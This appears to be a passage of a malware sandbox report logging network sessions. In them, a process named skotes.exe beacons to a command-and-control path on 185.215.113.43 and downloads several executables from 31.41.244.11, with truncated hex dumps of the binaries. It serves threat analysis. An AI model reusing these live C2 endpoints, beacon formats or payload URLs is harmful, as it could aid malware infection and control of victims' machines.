Dec 2, 2024 11:21:07.797516108 CET	1289	IN	Data Raw: 01 74 0a 48 8b 4c 24 48 e8 53 f2 ff ff 48 89 f1 e8 9b 42 00 00 cc cc cc cc cc cc cc cc cc cc cc 56 57 53 48 83 ec 20 4c 89 c6 48 89 d7 48 89 cb 4c 89 c1 e8 a8 cb 02 00 48 89 f9 48 89 f2 49 89 c0 e8 1a 0b 00 00 48 8b 48 10 48 89 4b 10 0f 10 00 0f Data Ascii: tHL$HSHBVWSH LHHLHHIHHHKWH@HH [_^AVVWSH(HHHYHsVHHs?HHu$0IIIN;HFIL6H~HHHIk>H([_^A^H5VWS
Dec 2, 2024 11:21:07.797599077 CET	1289	IN	Data Raw: 89 76 08 4e 8d 04 75 02 00 00 00 48 89 da e8 24 c7 02 00 48 8d 4e 18 f6 07 01 0f 84 78 ff ff ff 48 8b 5f 08 48 8b 7f 10 48 83 fb 0a 77 0c 48 8d 4e 1a 8d 04 1b 88 46 18 eb 37 48 b8 ef ff ff ff ff ff ff 7f 48 39 c3 77 5b 49 89 de 49 83 ce 07 49 ff Data Ascii: vNuH$HNxH_HHwHNF7HH9w[IIIxYK6HHF(ILvH^ L]HWF0HF@H [_^A^A_H)$HtHNH<AVVWSHXLIHA)D$@H
Dec 2, 2024 11:21:07.797641993 CET	1289	IN	Data Raw: c0 49 39 d2 4c 0f 46 d2 4c 89 d2 48 83 ca 0f 49 83 fa 17 49 0f 42 d0 48 39 c2 75 05 48 83 c4 28 c3 48 83 c4 28 e9 14 00 00 00 e8 df f4 ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 41 57 41 56 41 54 56 57 55 53 48 83 ec 20 48 89 d7 48 89 ce Data Ascii: I9LFLHIIBH9uH(H(AWAVATVWUSH HHt2LfHv4HHHHEH_H9swHUuAAHwLvL~H_@MItLLu@uHsED&LzHrHHLfLvH []_^A\
Dec 2, 2024 11:21:07.797746897 CET	1289	IN	Data Raw: 01 75 0b 8d 04 6d 00 00 00 00 88 06 eb 04 48 89 6e 08 41 c6 04 2f 00 48 89 f0 48 83 c4 28 5b 5d 5f 5e 41 5c 41 5d 41 5e 41 5f c3 48 89 f1 e8 d2 ef ff ff cc cc 56 57 48 83 ec 28 48 89 d6 48 89 cf 48 89 d1 e8 7c bc 02 00 48 89 f9 48 89 f2 49 89 c0 Data Ascii: umHnA/HH([]_^A\A]A^A_HVWH(HHH\|HHIH(_^DAtLQHL)w!Au#HEAHL)vH!HAHQAWAVAUATVWUSH(HHDH.HHHH@HE
Dec 2, 2024 11:21:07.797790051 CET	1289	IN	Data Raw: 35 7f 3a 03 00 48 8d 3d 78 3a 03 00 48 39 f7 75 14 eb 2c 66 0f 1f 84 00 00 00 00 00 48 83 c7 08 48 39 fe 74 1a 48 8b 07 48 85 c0 74 ef ff 15 91 b7 23 00 eb e7 ba 01 00 00 00 e8 cd 51 00 00 b8 01 00 00 00 48 83 c4 28 5f 5e c3 90 31 c0 c3 66 66 66 Data Ascii: 5:H=x:H9u,fHH9tHHt#QH(_^1ffff.H(tuQH(VWH8HwHHAHc<HH=OLNFN L$0D$ HHI1H8_^
Dec 2, 2024 11:21:08.129919052 CET	1289	IN	Data Raw: 10 41 b8 04 00 00 00 83 f8 02 74 0b 83 f8 04 74 33 41 b8 40 00 00 00 48 8b 4c 24 28 48 8b 05 c0 71 23 00 4f 8d 14 bf 4e 8d 0c d0 4a 89 4c d0 08 48 8b 54 24 40 4a 89 54 d0 10 ff 15 bb 3b 03 00 85 c0 74 52 ff 05 a1 71 23 00 48 89 f1 48 89 da 49 89 Data Ascii: Att3A@HL$(Hq#ONJLHT$@JT;tRq#HHI;HX[_^A\A^A_HLH=AVHbq#KLDHI:HhVH0HHT$HLD$PLL$XHD$HHD$(JHMAI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.20	49754	185.215.113.43	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:21:14.171084881 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 34 33 33 30 30 31 26 75 6e 69 74 3d 34 32 35 33 31 36 35 36 37 32 39 36 Data Ascii: d1=1010433001&unit=425316567296
Dec 2, 2024 11:21:14.497344971 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:21:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.20	49755	31.41.244.11	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:21:14.832876921 CET	66	OUT	GET /files/6299414420/HRFuUub.exe HTTP/1.1 Host: 31.41.244.11
Dec 2, 2024 11:21:15.166282892 CET	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:21:15 GMT Content-Type: application/octet-stream Content-Length: 222720 Last-Modified: Mon, 02 Dec 2024 00:59:50 GMT Connection: keep-alive ETag: "674d0686-36600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 af f4 4c 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 f0 00 00 00 72 02 00 00 00 00 00 0a e0 03 00 00 a0 02 00 00 20 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 04 00 00 04 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f0 a7 02 00 4b 00 00 00 00 a0 03 00 10 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELLg0r @ @KHTL:9@g h@.textl `.rsrcZ@@.relocb@Bd ` [TRUNCATED]
Dec 2, 2024 11:21:15.166337967 CET	1289	IN	Data Raw: 00 00 7b 44 70 97 4f 90 25 e2 71 9c 86 25 0a 21 f9 43 32 f5 44 01 30 a7 d0 b7 19 fe 69 4f 03 c2 7e ce 47 6e c0 c0 49 df 54 14 42 74 a1 eb 82 92 c8 b7 b7 55 e9 43 d9 cf 48 47 8b 59 88 d5 6b b5 d8 e2 82 3f 46 ec 4b d6 41 5e af 03 0c ba 9b 07 5b ac Data Ascii: {DpO%q%!C2D0iO~GnITBtUCHGYk?FKA^[$5'"z&3=gKfFx =klicCLBJ"HdwSu.C;.;Gjnsd#L_cWD!=p&A_4FcE(&]ga%u6
Dec 2, 2024 11:21:15.166596889 CET	1289	IN	Data Raw: bd a4 e7 86 6c 6e 03 49 10 fd 3c 39 20 43 e5 e4 55 c0 5b ad 14 8f ee f0 96 14 78 0c 35 eb 66 6c 5c 18 fa 0f 50 73 c3 a9 e4 a9 d9 21 e6 29 41 ee a0 97 c0 73 78 c5 79 7c 04 c4 1e 66 9e 0c 94 3a 3a 2c 2d 2a 0b a3 43 d5 6c 7e c0 d0 35 91 01 09 28 75 Data Ascii: lnI<9 CU[x5fl\Ps!)Asxy\|f::,-*Cl~5(u~2Eis,X2W5E!==UDkcyba<.89jOlyTq:=Qc$G>TW`)aQQa
Dec 2, 2024 11:21:15.166642904 CET	1289	IN	Data Raw: b5 82 fb f6 79 db b8 5d b5 91 cf 64 cd 99 fd 00 4c ad 70 b8 ac 9e 36 72 7f df cc d4 81 ed 74 9b 8c 62 c6 ec 32 f9 93 e7 6e 55 9d d5 8b 59 ea 37 41 3e e8 9a 3b 9d 0e 30 66 e2 0a a5 b6 e4 c2 59 60 04 36 87 a5 1f c9 05 e7 b3 2d 0f 4b 05 15 93 c8 78 Data Ascii: y]dLp6rtb2nUY7A>;0fY`6-Kxh_6!J?',U/%4F}kkOb\$_j>B}LiG^Gu`ql}Rp0k~NQ%(p[IdPG?zYM (%15FlU0WH
Dec 2, 2024 11:21:15.166760921 CET	1289	IN	Data Raw: 5b 95 68 62 91 54 5d 7c f8 05 0a 10 4e 10 58 6d fd 05 b4 d6 2e 59 c6 26 0a 73 d9 a3 71 a8 5d ba 55 9a 45 7a 3d 49 75 2f 2b a9 41 b3 05 15 01 5c a7 9e 35 aa 98 19 f4 e7 ad ee 44 d8 0d 11 8e 45 2c e7 4d d7 27 67 77 b1 08 94 e9 87 d8 0f 34 18 88 6c Data Ascii: [hbT]\|NXm.Y&sq]UEz=Iu/+A\5DE,M'gw4ls]~wj{)bWo]",_n\|\|%^^Q-M#5}!(KjURGsJY][.&:Z;U[!W_{^NL!To+N*IjL4D_
Dec 2, 2024 11:21:15.166836977 CET	1289	IN	Data Raw: e6 03 a6 04 87 a0 7e 0e fa ec 00 75 77 23 24 6b 85 85 6c d9 a8 0b d9 de c3 67 f7 94 16 10 73 d6 1d db 7a a9 97 87 96 27 44 04 89 b5 14 20 af b4 ce a3 77 fa 34 90 81 62 15 29 b5 47 c1 55 ab 01 3f 29 53 08 6a 8b 39 98 1b ee bf 3e 9f cc 1f fb 61 5d Data Ascii: ~uw#$klgsz'D w4b)GU?)Sj9>a]s@!$2oY<"peZT$fUjSnK0dext{p\|F-9.+7UfW!pdPD1Xl(b^->WyX
Dec 2, 2024 11:21:15.166945934 CET	1289	IN	Data Raw: 69 7b 31 ca 24 f1 5f e4 bf 72 20 a9 e2 b4 92 87 89 d1 42 da af fd d9 49 7a a5 7a c1 ad e6 f2 b6 ff d4 4b c1 bb 63 43 b4 63 ae 61 15 5c 13 1d 9a ec c9 d8 56 13 b5 79 12 b6 7b 8a 7f bb 5f a7 a4 8c 55 c4 a1 1b 83 ac c6 74 22 6c 05 a9 68 9e 2b 4e 4b Data Ascii: i{1$_r BIzzKcCca\Vy{_Ut"lh+NK7iGi'~4(]:r/A{D Bf^u0 dua[icy1+}Vh::sF}MT'!P'Fh9'<e!F+b
Dec 2, 2024 11:21:15.166995049 CET	1289	IN	Data Raw: 7e 96 02 bd 9f 9a b5 18 af 37 0d 08 49 77 b7 e5 67 46 9c 29 00 60 b2 d2 94 89 53 19 f9 89 a4 14 27 3f e4 a4 80 f3 25 17 b2 01 0f 90 f2 7a 71 7e b1 61 14 c5 8b 87 97 fb 1c aa 3b 7e 31 b7 2e 29 58 90 61 3e 01 07 de f8 56 d1 a5 e8 3a bb ba 79 d7 42 Data Ascii: ~7IwgF)`S'?%zq~a;~1.)Xa>V:yBJ%2*??7d0MEDXNwX_KU4T]^zY@6a~2qa"&[B)<bS)Ob~iLdG_aYg1F<\{-o:J9;>2c
Dec 2, 2024 11:21:15.167082071 CET	1289	IN	Data Raw: 89 98 f8 0d 38 f9 6e e3 3c 87 09 41 be 93 5e ca a5 ce 47 0d cf f6 e2 c4 ac 7c 34 80 9a c8 dd 77 ba 11 01 46 cc 62 65 dc 1b 9d d6 30 eb 3a 37 22 c2 1b 7f 96 55 17 52 14 91 01 fd c9 72 e8 f4 f8 a8 c4 6b b8 9e 57 86 30 c8 68 f3 f7 78 57 76 c9 78 2a Data Ascii: 8n<A^G\|4wFbe0:7"URrkW0hxWvx7z{-<pz0h[1>>5soLt~t\>&0'\|\|8[`NwvHZP\|jd"Dwg\'^Nbj\| ]Zo:&MUfub~`^r9u%TW+n
Dec 2, 2024 11:21:15.167342901 CET	1289	IN	Data Raw: b6 7a 4a 4a e6 08 81 3f fd 5a 70 03 58 83 9a 66 08 25 f8 18 8e d0 49 c3 92 8e 0e 1e 3a 1b 8c 4a 13 8d 90 c6 39 6d e9 f8 30 2e 16 52 bd 01 ba 24 3d 6a e7 6d 54 a0 88 70 85 d1 c5 dd e3 8b 60 ed dc 9a 0b cf 85 6e af c9 16 36 ab 4b aa bd 77 4b f4 04 Data Ascii: zJJ?ZpXf%I:J9m0.R$=jmTp`n6KwKk&WEb@"$'?~g/Ge> 5u,7U(x<Oy4a(Wb3n@YiQ:QWLjQB5iMi~".y
Dec 2, 2024 11:21:15.500081062 CET	1289	IN	Data Raw: fd d3 26 dc de 8d 5f 20 9c bc 78 8c a5 ee 1b 1e d3 25 4d d1 f6 b0 96 db ee 0d 67 64 1d 98 12 38 08 f5 f5 60 f7 67 78 7a e9 76 31 98 f3 e6 09 49 c3 7d d7 de cf 36 eb 66 5e 82 bc be 4d a0 a4 55 42 42 6b 2e 31 1f 29 27 75 f8 1c ea c6 ec 69 12 bd b3 Data Ascii: &_ x%Mgd8`gxzv1I}6f^MUBBk.1)'uiv;G0gdI:<SS]H6,>OIZu5.`G1)!is'*h20e\w5pgGY_FN^08FMa1?zB'j/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.20	49758	185.215.113.43	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:21:19.032490015 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 31 31 31 38 30 30 31 26 75 6e 69 74 3d 34 32 35 33 31 36 35 36 37 32 39 36 Data Ascii: d1=1011118001&unit=425316567296
Dec 2, 2024 11:21:19.360759974 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:21:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.11.20	49760	31.41.244.11	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:21:19.682421923 CET	66	OUT	GET /files/6299414420/tpZOod0.exe HTTP/1.1 Host: 31.41.244.11
Dec 2, 2024 11:21:20.001167059 CET	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:21:19 GMT Content-Type: application/octet-stream Content-Length: 222720 Last-Modified: Mon, 02 Dec 2024 07:43:02 GMT Connection: keep-alive ETag: "674d6506-36600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 af f4 4c 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 f0 00 00 00 72 02 00 00 00 00 00 0a e0 03 00 00 a0 02 00 00 20 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 04 00 00 04 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f0 a7 02 00 4b 00 00 00 00 a0 03 00 10 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELLg0r @ @KHTL:9@g h@.textl `.rsrcZ@@.relocb@Bd ` [TRUNCATED]
Dec 2, 2024 11:21:20.001221895 CET	1289	IN	Data Raw: 00 00 7b 44 70 97 4f 90 25 e2 71 9c 86 25 0a 21 f9 43 32 f5 44 01 30 a7 d0 b7 19 fe 69 4f 03 c2 7e ce 47 6e c0 c0 49 df 54 14 42 74 a1 eb 82 92 c8 b7 b7 55 e9 43 d9 cf 48 47 8b 59 88 d5 6b b5 d8 e2 82 3f 46 ec 4b d6 41 5e af 03 0c ba 9b 07 5b ac Data Ascii: {DpO%q%!C2D0iO~GnITBtUCHGYk?FKA^[$5'"z&3=gKfFx =klicCLBJ"HdwSu.C;.;Gjnsd#L_cWD!=p&A_4FcE(&]ga%u6
Dec 2, 2024 11:21:20.001331091 CET	1289	IN	Data Raw: bd a4 e7 86 6c 6e 03 49 10 fd 3c 39 20 43 e5 e4 55 c0 5b ad 14 8f ee f0 96 14 78 0c 35 eb 66 6c 5c 18 fa 0f 50 73 c3 a9 e4 a9 d9 21 e6 29 41 ee a0 97 c0 73 78 c5 79 7c 04 c4 1e 66 9e 0c 94 3a 3a 2c 2d 2a 0b a3 43 d5 6c 7e c0 d0 35 91 01 09 28 75 Data Ascii: lnI<9 CU[x5fl\Ps!)Asxy\|f::,-*Cl~5(u~2Eis,X2W5E!==UDkcyba<.89jOlyTq:=Qc$G>TW`)aQQa
Dec 2, 2024 11:21:20.001457930 CET	1289	IN	Data Raw: b5 82 fb f6 79 db b8 5d b5 91 cf 64 cd 99 fd 00 4c ad 70 b8 ac 9e 36 72 7f df cc d4 81 ed 74 9b 8c 62 c6 ec 32 f9 93 e7 6e 55 9d d5 8b 59 ea 37 41 3e e8 9a 3b 9d 0e 30 66 e2 0a a5 b6 e4 c2 59 60 04 36 87 a5 1f c9 05 e7 b3 2d 0f 4b 05 15 93 c8 78 Data Ascii: y]dLp6rtb2nUY7A>;0fY`6-Kxh_6!J?',U/%4F}kkOb\$_j>B}LiG^Gu`ql}Rp0k~NQ%(p[IdPG?zYM (%15FlU0WH
Dec 2, 2024 11:21:20.001563072 CET	1289	IN	Data Raw: 5b 95 68 62 91 54 5d 7c f8 05 0a 10 4e 10 58 6d fd 05 b4 d6 2e 59 c6 26 0a 73 d9 a3 71 a8 5d ba 55 9a 45 7a 3d 49 75 2f 2b a9 41 b3 05 15 01 5c a7 9e 35 aa 98 19 f4 e7 ad ee 44 d8 0d 11 8e 45 2c e7 4d d7 27 67 77 b1 08 94 e9 87 d8 0f 34 18 88 6c Data Ascii: [hbT]\|NXm.Y&sq]UEz=Iu/+A\5DE,M'gw4ls]~wj{)bWo]",_n\|\|%^^Q-M#5}!(KjURGsJY][.&:Z;U[!W_{^NL!To+N*IjL4D_
Dec 2, 2024 11:21:20.001750946 CET	1289	IN	Data Raw: e6 03 a6 04 87 a0 7e 0e fa ec 00 75 77 23 24 6b 85 85 6c d9 a8 0b d9 de c3 67 f7 94 16 10 73 d6 1d db 7a a9 97 87 96 27 44 04 89 b5 14 20 af b4 ce a3 77 fa 34 90 81 62 15 29 b5 47 c1 55 ab 01 3f 29 53 08 6a 8b 39 98 1b ee bf 3e 9f cc 1f fb 61 5d Data Ascii: ~uw#$klgsz'D w4b)GU?)Sj9>a]s@!$2oY<"peZT$fUjSnK0dext{p\|F-9.+7UfW!pdPD1Xl(b^->WyX
Dec 2, 2024 11:21:20.001813889 CET	1289	IN	Data Raw: 69 7b 31 ca 24 f1 5f e4 bf 72 20 a9 e2 b4 92 87 89 d1 42 da af fd d9 49 7a a5 7a c1 ad e6 f2 b6 ff d4 4b c1 bb 63 43 b4 63 ae 61 15 5c 13 1d 9a ec c9 d8 56 13 b5 79 12 b6 7b 8a 7f bb 5f a7 a4 8c 55 c4 a1 1b 83 ac c6 74 22 6c 05 a9 68 9e 2b 4e 4b Data Ascii: i{1$_r BIzzKcCca\Vy{_Ut"lh+NK7iGi'~4(]:r/A{D Bf^u0 dua[icy1+}Vh::sF}MT'!P'Fh9'<e!F+b
Dec 2, 2024 11:21:20.001837015 CET	1289	IN	Data Raw: 7e 96 02 bd 9f 9a b5 18 af 37 0d 08 49 77 b7 e5 67 46 9c 29 00 60 b2 d2 94 89 53 19 f9 89 a4 14 27 3f e4 a4 80 f3 25 17 b2 01 0f 90 f2 7a 71 7e b1 61 14 c5 8b 87 97 fb 1c aa 3b 7e 31 b7 2e 29 58 90 61 3e 01 07 de f8 56 d1 a5 e8 3a bb ba 79 d7 42 Data Ascii: ~7IwgF)`S'?%zq~a;~1.)Xa>V:yBJ%2*??7d0MEDXNwX_KU4T]^zY@6a~2qa"&[B)<bS)Ob~iLdG_aYg1F<\{-o:J9;>2c
Dec 2, 2024 11:21:20.001920938 CET	1289	IN	Data Raw: 89 98 f8 0d 38 f9 6e e3 3c 87 09 41 be 93 5e ca a5 ce 47 0d cf f6 e2 c4 ac 7c 34 80 9a c8 dd 77 ba 11 01 46 cc 62 65 dc 1b 9d d6 30 eb 3a 37 22 c2 1b 7f 96 55 17 52 14 91 01 fd c9 72 e8 f4 f8 a8 c4 6b b8 9e 57 86 30 c8 68 f3 f7 78 57 76 c9 78 2a Data Ascii: 8n<A^G\|4wFbe0:7"URrkW0hxWvx7z{-<pz0h[1>>5soLt~t\>&0'\|\|8[`NwvHZP\|jd"Dwg\'^Nbj\| ]Zo:&MUfub~`^r9u%TW+n
Dec 2, 2024 11:21:20.002170086 CET	1289	IN	Data Raw: b6 7a 4a 4a e6 08 81 3f fd 5a 70 03 58 83 9a 66 08 25 f8 18 8e d0 49 c3 92 8e 0e 1e 3a 1b 8c 4a 13 8d 90 c6 39 6d e9 f8 30 2e 16 52 bd 01 ba 24 3d 6a e7 6d 54 a0 88 70 85 d1 c5 dd e3 8b 60 ed dc 9a 0b cf 85 6e af c9 16 36 ab 4b aa bd 77 4b f4 04 Data Ascii: zJJ?ZpXf%I:J9m0.R$=jmTp`n6KwKk&WEb@"$'?~g/Ge> 5u,7U(x<Oy4a(Wb3n@YiQ:QWLjQB5iMi~".y
Dec 2, 2024 11:21:20.319259882 CET	1289	IN	Data Raw: fd d3 26 dc de 8d 5f 20 9c bc 78 8c a5 ee 1b 1e d3 25 4d d1 f6 b0 96 db ee 0d 67 64 1d 98 12 38 08 f5 f5 60 f7 67 78 7a e9 76 31 98 f3 e6 09 49 c3 7d d7 de cf 36 eb 66 5e 82 bc be 4d a0 a4 55 42 42 6b 2e 31 1f 29 27 75 f8 1c ea c6 ec 69 12 bd b3 Data Ascii: &_ x%Mgd8`gxzv1I}6f^MUBBk.1)'uiv;G0gdI:<SS]H6,>OIZu5.`G1)!is'*h20e\w5pgGY_FN^08FMa1?zB'j/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.20	49762	185.215.113.43	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:21:23.794305086 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 31 32 33 33 30 30 31 26 75 6e 69 74 3d 34 32 35 33 31 36 35 36 37 32 39 36 Data Ascii: d1=1011233001&unit=425316567296
Dec 2, 2024 11:21:24.119522095 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:21:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.11.20	49763	31.41.244.11	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:21:24.439806938 CET	62	OUT	GET /files/unique2/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 2, 2024 11:21:24.758850098 CET	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:21:24 GMT Content-Type: application/octet-stream Content-Length: 1963520 Last-Modified: Mon, 02 Dec 2024 01:24:49 GMT Connection: keep-alive ETag: "674d0c61-1df600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 39 d6 7e 68 7d b7 10 3b 7d b7 10 3b 7d b7 10 3b 63 e5 94 3b 61 b7 10 3b 63 e5 85 3b 69 b7 10 3b 63 e5 93 3b 25 b7 10 3b 5a 71 6b 3b 78 b7 10 3b 7d b7 11 3b 12 b7 10 3b 63 e5 9a 3b 7c b7 10 3b 63 e5 84 3b 7c b7 10 3b 63 e5 81 3b 7c b7 10 3b 52 69 63 68 7d b7 10 3b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 d5 36 5f 66 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 d4 02 00 00 a6 01 00 00 00 00 00 00 90 86 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 86 00 00 04 00 00 d0 89 1e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$9~h};};};c;a;c;i;c;%;Zqk;x;};;c;\|;c;\|;c;\|;Rich};PEL6_f@ZBn@\ @T@.rsrc@xd@.idata B@ )B@ymqqshfdk@ftkrcswf@.taggant0"@ [TRUNCATED]
Dec 2, 2024 11:21:24.759032011 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:21:24.759227991 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:21:24.759458065 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:21:24.759536028 CET	1289	IN	Data Raw: 0a 1b 82 be 39 d0 82 a3 78 1c 80 be 5a 76 fe ab 41 8d 8d 6d e2 df 95 ee 4f dd 96 dd 92 9c f6 05 9a 7e 83 83 9b 0c c2 f5 b5 6a 88 5c ee 03 c8 bd b1 e3 c2 ec 26 43 00 f9 33 77 97 b6 76 1d 98 b8 0a 6a 96 c6 49 3c ff fe a8 75 06 67 ff cb 32 4e 72 a9 Data Ascii: 9xZvAmO~j\&C3wvjI<ug2Nrz<SiJW_QiiO8'J}&ZVQJWaK&\|T@u4bW>=#'7k6=e}zz6^s L^sKO>t
Dec 2, 2024 11:21:24.759748936 CET	1289	IN	Data Raw: 92 be ea e9 83 f4 bc 0a 56 d9 40 7a d0 77 ea fd 8c 60 be 51 86 9a 65 1a 83 91 6d dd 2f ff af 83 bb a7 cb 9f cb f1 d0 54 06 aa 6e 23 ff 0d 6e c4 f3 8a 18 f5 81 40 96 9c 43 2e 93 0c 97 bf f4 29 87 fc c9 4c 7f 96 5a d7 39 c1 11 6c e4 bf 11 ac 80 aa Data Ascii: V@zw`Qem/Tn#n@C.)LZ9lx>X"S7;k3tm.?]3W{z2!OfynVpnzThSqK&s"gIM<l{2tgIKz_DQLVr;>UgO=r
